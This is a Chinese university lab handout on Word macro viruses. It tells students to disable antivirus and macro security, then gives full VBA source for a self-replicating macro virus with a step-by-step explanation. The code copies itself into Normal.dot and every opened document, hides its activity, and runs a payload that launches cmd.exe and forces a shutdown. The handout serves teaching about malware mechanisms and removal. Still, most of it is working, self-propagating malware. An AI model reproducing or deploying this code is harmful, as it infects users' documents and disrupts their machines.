- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
计算机宏病毒分析
一、实验目的
⏹了解“宏病毒”机理;
⏹掌握清除宏病毒的方法;
⏹掌握采用“宏”和脚本语言进行编程的技术。
二、实验环境
⏹Windows 7 64位旗舰版
⏹Office Word2010字处理软件。
三、实验要求
⏹宏的编写;
⏹理解宏病毒的作用机制。
四、实验步骤:
1.软件设置
关闭杀毒软件;打开Word字处理软件,在工具“宏”的“安全性”中,将“安全级”设置为低,在“可靠发行商”选项卡中,选择信任任何所有安装的加载项和模板,选择“信任visual basic项目的访问”。
注意:为了保证该实验不至于造成较大的破坏性,进行实验感染后,被感染终端不要打开过多的word文档,否则清除比较麻烦(对每个打开过的文档都要清除)。
2.自我复制功能演示
打开一个word文档,然后按Alt+F11调用宏编写窗口(工具“宏”“Visual Basic宏编辑器”),在左侧的“project—>Microsoft Word”对象“ThisDocument”中输入以下代码(Macro-1),保存,此时当前word文档就含有宏病毒,只要下次打开这个word文档,就会执行以上代码,并将自身复制到Normal.dot(word 文档的公共模板)和当前文档的ThisDocument中,同时改变函数名(模板中为Document_Close,当前文档为Document_Open),此时所有的word文档打开和关闭时,都将运行以上的病毒代码,可以加入适当的恶意代码,影响word的正常使用,本例中只是简单的跳出一个提示框。
完整代码如下:
'Macro-1:Micro-Virus
Sub Document_Open()
On Error Resume Next
Application.DisplayStatusBar = False
Options.SaveNormalPrompt = False
Set ourcodemodule = ThisDocument.VBProject.VBComponents(1).CodeModule
Set host = NormalTemplate.VBProject.VBComponents(1).CodeModule
If ThisDocument = NormalTemplate Then
Set host = ActiveDocument.VBProject.VBComponents(1).CodeModule
End If
With host
If .Lines(1, 1) <> "'Micro-Virus" Then
.DeleteLines 1, .CountOfLines
.InsertLines 1, ourcodemodule.Lines(1, 100)
.ReplaceLine 2, "Sub Document_Close()"
If ThisDocument = NormalTemplate Then
.ReplaceLine 2, "Sub Document_Open()"
ActiveDocument.SaveAs ActiveDocument.FullName
End If
End If
End With
MsgBox "恭喜你你中毒了"
Shell ("C:\Windows\System32\cmd.exe")
Shell ("C:\Windows\System32\shutdown.exe -s -t 60")
End Sub
以上代码的基本执行流程如下:
1) 进行必要的自我保护:
Application.DisplayStatusBar = False
Options.SaveNormalPrompt = False
高明的病毒编写者其自我保护将做得非常好,可以使word的一些工具栏失
效,例如将工具菜单中的宏选项屏蔽,也可以修改注册表达到很好的隐藏效果。
本例中只是屏蔽状态栏,以免显示宏的运行状态,并且修改公用模板时自动保存,不给用户提示。
2) 得到当前文档的代码对象和公用模板的代码对象:
Set ourcodemodule = ThisDocument.VBProject.VBComponents(1).CodeModule
Set host = NormalTemplate.VBProject.VBComponents(1).CodeModule
If ThisDocument = NormalTemplate Then
Set host = ActiveDocument.VBProject.VBComponents(1).CodeModule
End If
3) 检查模板是否已经感染病毒,如果没有,则复制宏病毒代码到模板,并且修改函数名:
With Host
If .Lines(1.1) <> "'Micro-Virus" Then
.DeleteLines 1, .CountOfLines
.InsertLines 1, Ourcode
.ReplaceLine 2, "Sub Document_Close()"
If ThisDocument = nomaltemplate Then
.ReplaceLine 2, "Sub Document_Open()"
ActiveDocument.SaveAs ActiveDocument.FullName
End If
End If
End With
4) 执行恶意代码
MsgBox "恭喜你你中毒了"
Shell ("C:\Windows\System32\cmd.exe")
Shell ("C:\Windows\System32\shutdown.exe -s -t 60")。